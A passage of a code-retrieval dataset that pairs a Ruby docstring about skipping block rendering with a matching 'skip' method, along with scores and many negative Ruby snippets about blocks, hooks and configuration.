"def content_tag(name, content_or_options_with_block = nil, options = nil, &block)\n if block_given?\n options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)\n content = capture(&block)\n concat(content_tag_string(name, content, options), block.binding)\n else\n content = content_or_options_with_block\n content_tag_string(name, content, options)\n end\n end",
"def block_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.block ...'\n end\n # resource path\n local_var_path = '/api/v1/block'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'hash'] = opts[:'hash'] if !opts[:'hash'].nil?\n query_params[:'seq'] = opts[:'seq'] if !opts[:'seq'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<BlockSchema>' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#block\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def putFragmentBlock\n puts_tag(\"fragments\") { yield }\n end",
"def set_block_params(item)\n if block_params.blank?\n commands.object = item\n elsif item.is_a?(Array) && item.size > 1\n # split item into block variables\n # the # of @block_params may be < the # of subitems, so put it first\n block_params.zip(item).each {|param, subitem| commands.set(param, subitem) }\n else\n # now this item is available thru the block variable\n commands.set(block_params.first, item)\n end\n end",
"def configure( &block )\n @configuration = block\n end",
"def block_method\n yield(\"Brandon\",\"CS\")\n yield(\"Katie\",\"Econ\")\nend",
"def with_macros(name=nil, &block)\n\t\t\traise ArgumentError, \"No block given\" unless block_given?\n\t\t\tname = name.to_sym if name\n\t\t\tif !name then\n\t\t\t\tunless @macros.blank? then\n\t\t\t\t\t@macros.each(&block)\n\t\t\t\telse\n\t\t\t\t\t@doc.structure.descend do |n, level|\n\t\t\t\t\t\tif n.is_a?(Glyph::MacroNode) && n.source\n\t\t\t\t\t\t\t@macros << n\n\t\t\t\t\t\t\tmacro_array_for(n[:name]) << n\n\t\t\t\t\t\t\tblock.call n\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\texisting = @macros_by_def[name]\n\t\t\t\tif existing then\n\t\t\t\t\texisting.each(&block)\n\t\t\t\telse\n\t\t\t\t\tmacros = []\n\t\t\t\t\t@doc.structure.descend do |n, level|\n\t\t\t\t\t\tif n.is_a?(Glyph::MacroNode) && macro_eq?(name, n[:name]) && n.source\n\t\t\t\t\t\t\tmacros << n\n\t\t\t\t\t\t\tblock.call n\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t@macros_by_def[name] = macros\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def sub(name, &block)\n name = name.to_sym\n\n case found = @hash[name]\n when Options\n found.dsl(&block)\n else\n found = @hash[name] = Options.new(name, self).dsl(&block)\n end\n\n found\n end",
"def configure(hash = nil, &_block)\n if block_given?\n carrier = Surrealist::Carrier.new\n yield(carrier)\n @default_args = carrier.parameters\n else\n @default_args = hash.nil? ? Surrealist::HashUtils::EMPTY_HASH : hash\n end\n end",
"def configure(&block)\n ConfigBlock.new(self, &block) if block_given?\n nil\n end",
"def configure(&block)\n ConfigBlock.new(self, &block) if block_given?\n nil\n end",
"def provider(name, &block)\n name = name.to_sym\n @__providers[name] ||= []\n @__provider_overrides[name] ||= []\n\n # Add the provider to the ordering list\n @__provider_order << name\n\n if block_given?\n @__providers[name] << block if block_given?\n\n # If this block takes two arguments, then we curry it and store\n # the configuration override for use later.\n if block.arity == 2\n @__provider_overrides[name] << block.curry[Vagrant::Config::V2::DummyConfig.new]\n end\n end\n end",
"def register_block_for(type, &blk); end",
"def has_block(name)\n @blocks.key?(name.to_s)\n end",
"def block_name \n to_sym\n end",
"def <<(block)\n blocks << block\n end",
"def area(name, content = nil, &block)\n content = capture(&block) if block_given?\n append name, content\n render_area name\n end",
"def block_name\n if @split_across\n if @block_method == :count\n \"Block #{@block_num}/#{@num_blocks} (across dataset)\"\n else\n \"Block #{@block_num} of #{@block_size} words (across dataset)\"\n end\n else\n if @block_method == :count\n \"Block #{@block_num}/#{@num_blocks} (within \\\"#{@current_doc.title}\\\")\"\n else\n \"Block #{@block_num} of #{@block_size} words (within \\\"#{@current_doc.title}\\\")\"\n end\n end\n end"
] |
[
"0.79454064",
"0.7353004",
"0.69163525",
"0.6849697",
"0.6494416",
"0.64863276",
"0.6425665",
"0.63501716",
"0.6331145",
"0.6268368",
"0.6224345",
"0.6130625",
"0.6112668",
"0.6084813",
"0.6084784",
"0.6064092",
"0.60525364",
"0.593428",
"0.5914862",
"0.5860374",
"0.5850979",
"0.5849557",
"0.58427685",
"0.58265126",
"0.58258337",
"0.5763042",
"0.5755084",
"0.5725843",
"0.5725843",
"0.56925625",
"0.5671897",
"0.56693435",
"0.5666393",
"0.5634464",
"0.5627766",
"0.5617742",
"0.5601351",
"0.55880016",
"0.5567659",
"0.55658704",
"0.55510014",
"0.55229056",
"0.55229056",
"0.5520983",
"0.5515728",
"0.5502488",
"0.5502488",
"0.5502488",
"0.54913986",
"0.5488826",
"0.5482937",
"0.5465283",
"0.5460889",
"0.5455553",
"0.5454138",
"0.54531354",
"0.54191846",
"0.54128635",
"0.54045796",
"0.54023045",
"0.540147",
"0.53977096",
"0.53969204",
"0.5387491",
"0.5375152",
"0.5370824",
"0.53702855",
"0.5352625",
"0.53518903",
"0.53458863",
"0.5340994",
"0.5332336",
"0.53221786",
"0.5319335",
"0.52953696",
"0.5286854",
"0.52762043",
"0.52741593",
"0.52671474",
"0.5262287",
"0.52548975",
"0.52476007",
"0.5241169",
"0.52317023",
"0.52300876",
"0.5224483",
"0.51958984",
"0.5177774",
"0.5174491",
"0.51689327",
"0.5160335",
"0.5159904",
"0.5159904",
"0.51565975",
"0.5154805",
"0.5148831",
"0.51460326",
"0.5142468",
"0.5135699",
"0.5133211"
] |
0.7135202
|
2
|
Skip the rendering of a particular block when blocks.render is called for the a particular block name My output Options: [+name+] The name of the block to skip rendering for
|
def skip(name)
blocks[name] = nil
skipped_blocks[name] = true
self.define_block_container(name) do
end
nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def render_block(name, context, blocks = {}, use_blocks = true)\n # ob_start();\n display_block(name, context, blocks, use_blocks)\n # return ob_get_clean();\n end",
"def render_parent_block(name, context, blocks = {})\n # ob_start();\n display_parent_block(name, context, blocks)\n # return ob_get_clean();\n end",
"def skip_render_ape(*args)\n options = args.extract_options!\n name = args.first\n ape_skipper[:render][name] = options\n end",
"def block_name_declaration(block_name)\n buff_code \"#{block_name} = __blocks.delete('#{block_name}') { __create_block('#{block_name}') }\"\n end",
"def replace(name, options={}, &block)\n blocks[name] = nil\n self.define_block_container(name, options, &block)\n nil\n end",
"def negate_iife_block\n if output_options[:wrap_iife]\n { :negate_iife => false }\n else\n {}\n end\n end",
"def negate_iife_block\n if output_options[:wrap_iife]\n { :negate_iife => false }\n else\n {}\n end\n end",
"def _ag_render_without_silverlight(key, template, options, other, &block)\n unless block.nil?\n render_without_silverlight({key => template}.merge(options), other, &block)\n else\n render_without_silverlight({key => template}.merge(options), other)\n end\n end",
"def fine_print_skip(*names)\n options = names.last.is_a?(Hash) ? names.pop : {}\n\n # Convert names to an array of Strings\n contract_names = names.flatten.collect{|c| c.to_s}\n contract_names = ['all'] if contract_names.empty?\n\n class_exec do\n prepend_before_action(options) do |controller|\n controller.fine_print_skipped_contract_names.push(*contract_names)\n end\n end\n end",
"def not &blk\n @negative = !@negative\n if blk\n @block = blk\n execute_block\n end\n end",
"def exclude_name(name)\n @rest_call.append_headers(\"X-Nuage-FilterType\", \"predicate\")\n @rest_call.append_headers(\"X-Nuage-Filter\", \"name ISNOT '#{name}'\")\n end",
"def block_name \n :CodeBlock \n end",
"def block_name \n :CodeBlock \n end",
"def no_content_for(name)\n @view_flow.append!(name, DryViews::EMPTY_CONTENT)\n end",
"def check_block name\n raise \"No such block: #{name}\" unless @source.key? name\n end",
"def remove_block\n block = params[:block].to_s.underscore\n @user = User.current\n # remove block in all groups\n layout = @user.pref[:my_page_layout] || {}\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n redirect_to my_page_layout_path\n end",
"def remove_block\n block = params[:block].to_s.underscore\n @user = User.current\n # remove block in all groups\n layout = @user.pref[:my_page_layout] || {}\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n redirect_to my_page_layout_path\n end",
"def display_block(name, context, blocks = {}, use_blocks = true)\n name = name.to_s\n if use_blocks && blocks.key?(name)\n template = blocks[name][0]\n block = blocks[name][1]\n elsif @blocks.key?(name)\n template = @blocks[name][0]\n block = @blocks[name][1]\n else\n template = nil\n block = nil\n end\n\n if !template.nil?\n # avoid RCEs when sandbox is enabled\n unless template.is_a?(Twig::Template)\n raise LogicException.new('A block must be a method on a Twig::Template instance.')\n end\n begin\n template.send(block.to_sym, context, blocks)\n rescue Twig::Error => ex\n unless ex.get_template_file\n ex.set_template_file(template.get_template_name)\n end\n # this is mostly useful for Twig::Error::Loader exceptions\n # see Twig::Error::Loader\n unless ex.get_template_line\n ex.set_template_line(-1)\n ex.guess\n end\n raise ex\n rescue => ex\n raise Twig::Error::Runtime.new(\"An exception has been thrown during the rendering of a template (\\\"#{ex.message}\\\").\", -1, template.get_template_name, ex)\n end\n elsif (false != parent = get_parent(context))\n parent.display_block(name, context, @blocks.merge(blocks), false)\n end\n end",
"def ignore_layout(&block)\n @ignore_layout = block\n end",
"def render_plain_styleblock(name)\n @block_html.gsub('$modifier_class', '').gsub(' class=\"\"', '').prepend('<div class=\"styleguide-styleblock\">') << '</div>'\n end",
"def hide\n super\n\n Vedeu.buffers.by_name(name).hide\n end",
"def skip &block\n annotate block do |c|\n c unless @item_rep.name == :wordcount\n end\nend",
"def block_name\n if @split_across\n if @block_method == :count\n \"Block #{@block_num}/#{@num_blocks} (across dataset)\"\n else\n \"Block #{@block_num} of #{@block_size} words (across dataset)\"\n end\n else\n if @block_method == :count\n \"Block #{@block_num}/#{@num_blocks} (within \\\"#{@current_doc.title}\\\")\"\n else\n \"Block #{@block_num} of #{@block_size} words (within \\\"#{@current_doc.title}\\\")\"\n end\n end\n end",
"def display_parent_block(name, context, blocks = [])\n name = name.to_s\n if @traits.key?(name)\n @traits[name][0].display_block(name, context, blocks, false)\n elsif (parent = get_parent(context))\n parent.display_block(name, context, blocks, false)\n else\n raise Twig::Error::Runtime.new(sprintf('The template has no parent and no traits defining the \"%s\" block', name), -1, get_template_name)\n end\n end",
"def yield_content!(name)\n view_flow.content.delete(name)\n end",
"def yield_content!(name)\n view_flow.content.delete(name)\n end",
"def yield_content!(name)\n view_flow.content.delete(name)\n end",
"def no_color(&block)\n block.call\n end",
"def block_name \n to_sym\n end",
"def render_block(name_or_container, *args, &block)\n buffer = ActiveSupport::SafeBuffer.new\n\n name, block_render_options = extract_block_name_and_options(name_or_container)\n\n block_definition_options = {}\n if blocks[name]\n block_container = blocks[name]\n block_definition_options = block_container.options\n end\n\n options = global_options.merge(block_definition_options).merge(block_render_options).merge(args.extract_options!)\n\n if blocks[name]\n block_container = blocks[name]\n args.push(options)\n buffer << view.capture(*(args[0, block_container.block.arity]), &block_container.block)\n elsif options[:use_partials] && !options[:skip_partials]\n begin\n begin\n buffer << view.render(\"#{name.to_s}\", options)\n rescue ActionView::MissingTemplate, ArgumentError\n buffer << view.render(\"#{options[:partials_folder]}/#{name.to_s}\", options)\n end\n rescue ActionView::MissingTemplate, ArgumentError\n args.push(global_options.merge(options))\n buffer << view.capture(*(args[0, block.arity]), &block) if block_given?\n end\n else\n args.push(global_options.merge(options))\n buffer << view.capture(*(args[0, block.arity]), &block) if block_given?\n end\n\n buffer\n end",
"def render_orphan(sequence, name, timestamp)\n @names << name\n left_header = \"--- New file\"\n right_header = right_header_line(name, timestamp)\n helper = HeaderHelper.new(left_header, right_header, @names.count - 1)\n result = template(\"html_header.erb\").evaluate(helper)\n \n # create one opcode with the entire content\n opcodes = [\n [:equal, 0, sequence.length-1, 0, sequence.length-1]\n ]\n helper = hunk_context(sequence, sequence, nil, opcodes, 0)\n result << template(\"html_hunk.erb\").evaluate(helper)\n result\n end",
"def disable(&block)\n @disable_block = block\n end",
"def render_missing_content(element, name, options)\n render 'alchemy/admin/contents/missing', {element: element, name: name, options: options}\n end",
"def render_missing_content(element, name, options)\n render 'alchemy/admin/contents/missing', {element: element, name: name, options: options}\n end",
"def anonymous_block_name\n self.anonymous_block_number += 1\n \"block_#{anonymous_block_number}\"\n end",
"def skip_load_and_render_ape(*args)\n skip_load_resource(*args)\n skip_render_ape(*args)\n end",
"def render_block(block, options = {})\n render partial: partial_name_for(block, options), object: block, as: :block\n end",
"def assert_not_cache_fragments(*names)\n \n fragment_cache_store.clear\n \n yield *names\n \n # if there is no variable @controller, then we haven't done any request\n raise NoRequestInBlockError.new(\"no request was send while executing block.\") if @controller.nil?\n \n names.each do |name|\n assert_block(\"#{name.inspect} is cached after executing block\") do\n !fragment_cache_store.written?(@controller.fragment_cache_key(name))\n end\n end\n \n fragment_cache_store.clear\n\n end",
"def html_blocklike_show(title, content)\n render('layouts/block', :title => title, :content => content) unless content.blank?\n end",
"def block_is_template?(_)\n false\n end",
"def skip(name)\n puts pretty_console_block(\"DIR ALREADY EXISTS; SKIPPING: #{name}\", :yellow)\n end",
"def without_bullet\n old_bullet_enable = Bullet.enable?\n Bullet.enable = false\n yield\n ensure\n Bullet.enable = old_bullet_enable\n end",
"def render\n Debug.debug { \"Now rendering #{@context} block for #{self}\" }\n @document.playback_attributes @attributes\n out = renderer.render(\"block_#{@context}\", self)\n @document.callouts.next_list if @context == :colist\n out\n end",
"def render_or_pass(&block)\n begin yield\n rescue Exception => e\n logger.error e.message\n pass\n end\n end",
"def skip_name\n @attributes[:skip_name]\n end",
"def virtual_not(&block)\n virtualize_keyword(:not, @not_rewriter, block)\n end",
"def defined?(name)\n !blocks[name].nil?\n end",
"def block(name, value = nil, &block)\n value = self._template.context.capture(&block) if value.nil? && block\n self._template.blocks[name] ||= value\n return self._template.blocks[name]\n end",
"def disabled(&_block)\n @disabled = true\n yield\n ensure\n @disabled = false\n end",
"def disable_content_blocks\n cannot :manage, ContentBlock\n end",
"def emit_without_block\n dup = dup_node\n dup.block = nil\n emit(dup)\n end",
"def comment(&block)\n #SWALLOW THE BLOCK\n end",
"def skip_name?(control, name)\n if control.has_key?(:exclude) and control[:exclude].include? name\n true\n elsif control.has_key?(:include) and not control[:include].include? name\n true\n end\n end",
"def has_block(name)\n @blocks.key?(name.to_s)\n end",
"def forbidding(*args, &block)\n\t\t\t\t\tself.instruction.forbidding *args, &block\n\t\t\t\tend",
"def disable_rendering\n\t\t@rendering_enabled = false\n\tend",
"def render_block(block, cached_widgets = {})\n uhook_collect_widgets(block) do |widget|\n next unless widget.valid?\n (cached_widgets[widget.id] || render_widget(widget)).tap do |output|\n # A widget didn't return an string, return inmediately\n return unless output\n end\n end\n end",
"def write_nonblock(p0) end",
"def is_not(&block)\n [:is_not, block]\n end",
"def is_not(&block)\n [:is_not, block]\n end",
"def blocker\n \"<div id='blocker'></div>\"\n end",
"def defined?(name)\n !blocks[name.to_sym].nil?\n end",
"def get_block name\n name = name.to_sym\n block = @blocks.find {|b| b.name == name}\n raise \"No block found for #{name} (in #{blocks.collect{|b|b.name}.join(':')})\" unless block\n block\n end",
"def fetch(block_name)\n @names[block_name.to_s] || []\n end",
"def profile_grouper_unless(condition, name, options={}, &proc)\n profile_grouper(name, options, &proc) unless condition\n end",
"def anonymous_blocklists; end",
"def show\n\n @blocks = Block.where(parent_id: params[:id]).order('name DESC')\n\n\n render layout: false\n\n end",
"def cache_unless(condition, name = {}, options = nil, &block)\n cache_if !condition, name, options, &block\n end",
"def without_revision(&block)\n self.class.without_revision(&block)\n end",
"def block_view(context, block_name)\n\n app = context[:app]\n\n case block_name\n when 'booking_activities_shopping_cart'\n shopping_cart = ::Yito::Model::Order::ShoppingCart.get(app.session[:shopping_cart_id]) || ::Yito::Model::Order::ShoppingCart.new\n app.partial(:activities_shopping_cart, :locals => {shopping_cart: shopping_cart})\n\n when 'booking_selector_full_v2'\n booking_item_family = ::Yito::Model::Booking::ProductFamily.get(SystemConfiguration::Variable.get_value('booking.item_family'))\n young_driver_rules = SystemConfiguration::Variable.get_value('booking.driver_min_age.rules', 'false').to_bool\n young_driver_rule_definition = ::Yito::Model::Booking::BookingDriverAgeRuleDefinition.get(SystemConfiguration::Variable.get_value('booking.driver_min_age.rule_definition'))\n addons = app.mybooking_addons\n addon_promotion_code = if addons and addons.has_key?(:addon_promotion_code) and addons[:addon_promotion_code]\n addons[:addon_promotion_code]\n else\n false\n end\n locals = {}\n locals.store(:booking_min_days,\n SystemConfiguration::Variable.get_value('booking.min_days', '1').to_i)\n locals.store(:booking_item_family, booking_item_family)\n locals.store(:booking_item_type,\n SystemConfiguration::Variable.get_value('booking.item_type'))\n locals.store(:pickup_return_places_configuration,\n SystemConfiguration::Variable.get_value('booking.pickup_return_places_configuration', 'list'))\n locals.store(:driver_age_rules, young_driver_rules)\n locals.store(:driver_age_rule_definition, young_driver_rule_definition)\n locals.store(:addon_promotion_code, addon_promotion_code)\n locals.store(:custom_pickup_return_place_price, SystemConfiguration::Variable.get_value('booking.custom_pickup_return_place_price', '0').to_i)\n locals.store(:pickup_return_places_same_rental_location, BookingDataSystem::Booking.pickup_return_places_same_rental_location)\n\n frontend_skin = SystemConfiguration::Variable.get_value('frontend.skin','rentit')\n custom_js = Plugins::Plugin.plugin_invoke_all('frontend_skin_custom_js', context).inject(false) { |result, value| result = result or value }\n\n page = frontend_skin ? \"#{frontend_skin}_rent_search_form_full_v2\" : :rent_search_form_full_v2\n js = (frontend_skin and custom_js) ? \"#{frontend_skin}_rent_search_form_full_v2_js\" : :rent_search_form_full_v2_js\n\n if booking_item_family.driver and young_driver_rules and young_driver_rule_definition and !young_driver_rule_definition.driver_age_rules.empty?\n driver_partial = frontend_skin ? \"#{frontend_skin}_rent_search_form_full_v2_driver\" : :rent_search_form_full_v2_driver\n locals.store(:driver_partial, app.partial(driver_partial, locals: locals))\n else\n locals.store(:driver_partial, nil)\n end\n\n if addon_promotion_code\n promotion_code_partial = frontend_skin ? \"#{frontend_skin}_rent_search_form_full_v2_promotion_code\" : :rent_search_form_full_v2_promotion_code\n locals.store(:promotion_code_partial, app.partial(promotion_code_partial, locals: locals))\n else\n locals.store(:promotion_code_partial, nil)\n end\n\n result = app.partial(page, :locals => locals)\n result << app.partial(js, :locals => locals) \n end\n \n end",
"def skip_command_callback_nodes\n %w[render_cell render around_filter]\n end",
"def skip\n end",
"def skip\n end",
"def without_caching(&block)\n @options[:perform_caching] = false\n block.call\n ensure\n @options.delete(:perform_caching)\n end",
"def render_before_or_after_blocks(name_or_container, before_or_after, *args)\n options = args.extract_options!\n\n block_options = {}\n if (name_or_container.is_a?(Blocks::Container))\n name = name_or_container.name.to_sym\n block_options = name_or_container.options\n else\n name = name_or_container.to_sym\n block_options = blocks[name].options if blocks[name]\n end\n\n before_name = \"#{before_or_after}_#{name.to_s}\".to_sym\n buffer = ActiveSupport::SafeBuffer.new\n\n blocks[before_name].each do |block_container|\n args_clone = args.clone\n args_clone.push(global_options.merge(block_options).merge(block_container.options).merge(options))\n buffer << view.capture(*(args_clone[0, block_container.block.arity]), &block_container.block)\n end if blocks[before_name].present?\n\n buffer\n end",
"def assert_not_expire_fragments(*names)\n fragment_cache_store.clear\n \n yield *names\n\n raise NoRequestInBlockError.new(\"no request was send while executing block.\") if @controller.nil?\n \n names.each do |name|\n assert_block(\"#{name.inspect} is expired after executing block\") do\n !fragment_cache_store.deleted?(@controller.fragment_cache_key(name))\n end\n end\n \n fragment_cache_store.clear\n end",
"def evaluate(&block)\n @scope.module_eval(&block)\n\n specs.delete_if do |spec|\n omits.any?{ |reason, block| block.call(spec) }\n end\n\n specs.each do |spec|\n skips.each do |reason, block|\n if spec.match?(match)\n spec.skip = reason\n end\n end\n end\n end",
"def remove_block\n @user = User.current\n @user.pref.remove_block params[:block]\n @user.pref.save\n redirect_to my_page_layout_path\n end",
"def before(name, options={}, &block)\n self.add_block_container_to_list(\"before_#{name.to_s}\", options, &block)\n nil\n end",
"def run(name=:main, options={}, &block)\n name = name.to_sym\n if !run_blocks.key? name\n options[:name] = name\n self.run_blocks[name] = [options, block]\n else\n raise NameError.new(\"Run block named #{name} already exists!\")\n end\n end",
"def without_blocks(options)\n piece = options[:piece]\n game = options[:game]\n\n clone.\n without_individual_blocks(piece: piece, game: game).\n without_set_blocks(piece: piece, game: game)\n end",
"def nonsense name\n yield 1\n puts \"#{name} is a non sense person\"\n yield 2\n puts \"but #{name} is very nice\"\n yield 3\n puts \"he makes people happy\"\nend",
"def replace(name, options={}, &block)\n blocks[name.to_sym] = nil\n define(name, options, &block)\n end",
"def omit_rest_if(message, &block)\n attribute(:fast_omit, [caller, message, block], {:keep => true})\n end",
"def ignore_if(&block)\n @@ignores << block\n end",
"def block\n options.fetch(:block)\n end",
"def raw_block_to_partial(partial_name, options = {}, &block)\n options.merge!(:block => block)\n render(:partial => partial_name, :locals => options)\n end",
"def define(name, options={}, &block)\n # Check if a block by this name is already defined.\n if blocks[name.to_sym].nil?\n # Store the attributes of the defined block in a container for later use\n block_container = BuildingBlocks::Container.new\n block_container.name = name\n block_container.options = options\n block_container.block = block\n \n blocks[name.to_sym] = block_container \n end\n \n nil\n end",
"def test_continue_with_no_block\n assigns = {}\n markup = '{% continue %}'\n expected = ''\n\n assert_template_result(expected, markup, assigns)\n end",
"def without_callbacks\n prev_skip_callbacks = @skip_callbacks\n @skip_callbacks = true\n begin\n ret = yield\n ensure\n @skip_callbacks = prev_skip_callbacks\n end\n ret\n end",
"def add_ignore_criteria(name, &block)\n give_name(name, block)\n @ignore_criteria << block\n end",
"def hide(&block)\n visible block ? proc { false == (instance_eval &block) } : false\n end",
"def skip(reason=true)\n if block_given?\n @_skip = reason\n yield\n @_skip = nil\n else\n @_skip = reason\n end\n end",
"def ignore &block\n begin; block.call; rescue; end\n end",
"def block!(block)\n\t\t@grid[block.position.y][block.position.x] = 0\n\t\t@blocks.delete_if { |b| block == b }\n\tend",
"def without_cache(&block)\n original_cache_setting = cache_on?\n set_cache(false)\n yield\n ensure\n set_cache(original_cache_setting)\n end",
"def write_nonblock\n end",
"def unless_dry_run(message)\n if dry?\n vlog \"Skipping due to dry run: #{message}\"\n else\n vlog message\n yield\n end\n end",
"def omit(message=nil, &block)\n message ||= \"omitted.\"\n if block_given?\n omission = Omission.new(name, filter_backtrace(caller), message)\n add_omission(omission)\n else\n raise OmittedError.new(message)\n end\n end",
"def _layout_for(names, &block)\n with_output_buffer do\n # This is due to the potentially ambiguous use of yield when\n # a block is passed in to a template *and* there is a content_for()\n # of the same name. Suggested solution: require explicit use of content_for\n # in these ambiguous cases.\n #\n # We would be able to continue supporting yield in all non-ambiguous\n # cases. Question: should we deprecate yield in favor of content_for\n # and reserve yield for cases where there is a yield into a real block?\n if @_content_for.key?(names.first) || !block_given?\n return @_content_for[names.first || :layout]\n else\n return yield(names)\n end\n end\n end"
] |
[
"0.6153384",
"0.6086669",
"0.6039716",
"0.59651756",
"0.5871876",
"0.5795725",
"0.5795725",
"0.5789088",
"0.5735014",
"0.56427854",
"0.56366086",
"0.5627823",
"0.5627823",
"0.56263053",
"0.5623758",
"0.56109864",
"0.56109864",
"0.56101745",
"0.56096",
"0.56039566",
"0.55908096",
"0.5572337",
"0.55427736",
"0.549753",
"0.54778105",
"0.54778105",
"0.5477704",
"0.5471737",
"0.5450879",
"0.5448776",
"0.54326534",
"0.54273975",
"0.54193246",
"0.54193246",
"0.5400274",
"0.5392689",
"0.53662825",
"0.5362148",
"0.53530467",
"0.5342533",
"0.5285015",
"0.52757144",
"0.52662206",
"0.5235938",
"0.5224766",
"0.52161646",
"0.51957",
"0.51898384",
"0.5179929",
"0.51763225",
"0.5173433",
"0.5171789",
"0.5169177",
"0.5156468",
"0.5142208",
"0.51305324",
"0.51260644",
"0.5119523",
"0.51152223",
"0.51152223",
"0.5112401",
"0.509959",
"0.50899035",
"0.5087591",
"0.5078503",
"0.5061578",
"0.5028559",
"0.5018583",
"0.50174373",
"0.50071454",
"0.5005492",
"0.5004437",
"0.5004437",
"0.5000607",
"0.49987853",
"0.49901047",
"0.49882838",
"0.49802387",
"0.49764916",
"0.49754912",
"0.49720272",
"0.496977",
"0.49638054",
"0.4958949",
"0.495391",
"0.49524206",
"0.49510702",
"0.4950047",
"0.4946141",
"0.49449846",
"0.4938819",
"0.49353695",
"0.4935291",
"0.49348426",
"0.49307",
"0.49175796",
"0.49129838",
"0.49063462",
"0.49042287",
"0.49034953"
] |
0.74185246
|
0
|
Add a block to render before another block. This before block will be put into an array so that multiple before blocks may be queued. They will render in the order in which they are declared when the "blocksrender" method is called. Any options specified to the before block will override any options specified in the block definition. 1, :option2 => 2 do |options| %> Step 2 (:option1 => , :option2 => ) 3 do Step 0 (:option1 => , :option2 => ) 4 do Step 1 (:option1 => , :option2 => ) 3, :option2 => 2) Step 1 (:option1 => 1, :option2 => 4) Step 2 (:option1 => 1, :option2 => 2) >
|
def before(name, options={}, &block)
self.add_block_container_to_list("before_#{name.to_s}", options, &block)
nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def before &block\n @before_blocks ||= []\n @before_blocks << block if block\n end",
"def before(&block)\n if !block_given? || block.arity != 1\n raise InvalidBlockSpecification, \"before proc should have an arity of 1 (Array: values)\"\n end \n @options[:before] = block\n end",
"def before_each(&block)\n @before_each_blocks << block\n end",
"def render_before_blocks(name_or_container, *args)\n render_before_or_after_blocks(name_or_container, \"before\", *args)\n end",
"def before(&block)\n @before << block\n end",
"def before(name, &block)\n validate_step_name(name)\n before_steps[name] ||= EMPTY_ARRAY.dup\n before_steps[name] << block.to_proc\n self\n end",
"def before_auto_marking(&block)\n @blocks[:before].push block\n end",
"def before(name, &block)\n before_steps[name] ||= EMPTY_ARRAY.dup\n before_steps[name] << Step.new(type: :before, name: name, executor: block)\n self\n end",
"def before(type=:each, &block)\n raise ArgumentError, \"invalid before-type #{type}\" unless [:each, :all].include?(type)\n type_method = \"before_#{type}\"\n remove_method(type_method) rescue nil #if method_defined?(type_method)\n define_method(type_method, &block)\n end",
"def pre_block\n end",
"def pre_block\n end",
"def before(*hooks, &block)\n before_hooks.unshift block if block\n hooks.each { |h| before_hooks.unshift h }\n end",
"def before(&block)\n block ? @before = block : @before\n end",
"def _Gvn_before(&block)\n _Gvn_before_blocks << block\n end",
"def before(&block)\n define_before_or_after_method_with_block(:before, &block)\n end",
"def render_before_or_after_blocks(name_or_container, before_or_after, *args)\n options = args.extract_options!\n\n block_options = {}\n if (name_or_container.is_a?(Blocks::Container))\n name = name_or_container.name.to_sym\n block_options = name_or_container.options\n else\n name = name_or_container.to_sym\n block_options = blocks[name].options if blocks[name]\n end\n\n before_name = \"#{before_or_after}_#{name.to_s}\".to_sym\n buffer = ActiveSupport::SafeBuffer.new\n\n blocks[before_name].each do |block_container|\n args_clone = args.clone\n args_clone.push(global_options.merge(block_options).merge(block_container.options).merge(options))\n buffer << view.capture(*(args_clone[0, block_container.block.arity]), &block_container.block)\n end if blocks[before_name].present?\n\n buffer\n end",
"def before_start(&block)\n @before_start_hooks << block\n end",
"def before(event, &block)\n triggers[:before][event] << block\n self\n end",
"def before(*args, &block)\n before_callbacks.concat(args)\n before_callbacks << block if block\n end",
"def before_suite(&block)\n @before_suite_blocks << block\n end",
"def before(stack_name, &block)\n @@stacks[:before][stack_name.to_sym] << block\n end",
"def before(*args, &block)\n if block_given?\n Thread.current[:before_hook] = block\n else\n Thread.current[:before_hook].call(*args) if Thread.current[:before_hook]\n end\n end",
"def before(*command, &block)\n command.flatten!\n blk = block\n\n if command.last.is_a?(Hash)\n if block_given?\n extra_cfg = command.pop\n else\n # We were given a hash rather than a block,\n # so the last element should be the \"config block\"\n # and the rest are commands for the trigger\n blk = command.pop\n end\n elsif !block_given?\n raise Vagrant::Errors::TriggersNoBlockGiven,\n command: command\n end\n\n command.each do |cmd|\n trigger = create_trigger(cmd, blk, extra_cfg)\n @_before_triggers << trigger\n end\n end",
"def before_run(&block)\n @before_run_block = block\n end",
"def pre_execute(&block)\n @hooks[:pre_execute] = block\n end",
"def before\n @options[:before]\n end",
"def before(&block)\n handle(0, &block)\n end",
"def before(&block)\n rules.add('@document:before', Sawtooth::Rules::CallRule.new(:start => block)) if block_given?\n end",
"def before_scenario(*steps, &block)\n before_scenario_steps.append(*steps) unless steps.empty?\n before_scenario_steps.append(block) if block_given?\n end",
"def prepend_before(*args, &proc)\n scope, options = scope_and_options(*args)\n example_group = ExampleGroupFactory.get(\n get_type_from_options(options)\n )\n example_group.prepend_before(scope, &proc)\n end",
"def before(method_to_hook, method_to_call = nil, options = {}, &block)\n add(:before, method_to_hook, method_to_call, options, &block)\n end",
"def pre(&a_proc)\n @@pre_block = a_proc\n end",
